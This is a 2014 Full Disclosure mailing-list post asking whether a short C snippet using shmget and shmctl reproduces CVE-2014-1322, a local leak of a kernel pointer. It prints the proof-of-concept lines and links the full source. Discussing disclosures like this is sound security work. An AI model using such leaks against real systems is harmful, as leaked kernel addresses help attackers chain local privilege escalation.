full-disclosure - [FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?

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Message-ID: <790f60710ce56584ad4fc3e67b4e7da8@openmailbox.org>
Date: Tue, 20 May 2014 10:45:38 +0000
From: rai@...nmailbox.org
To: fulldisclosure@...lists.org
Subject: [FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?

Hi,

There's a claim this triggers CVE-2014-1322 allowing local user to read
a kernel pointer:

int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );
struct shmid_ds lolz;
int res = shmctl( shm, IPC_STAT, &lolz );
printf( "%pn", lolz.shm_internal );

full source: http://maker.fea.st/CVE-2014-1322.c [1]

Is anyone able to reproduce?

--
rai

Links:
------
[1] http://maker.fea.st/CVE-2014-1322.c

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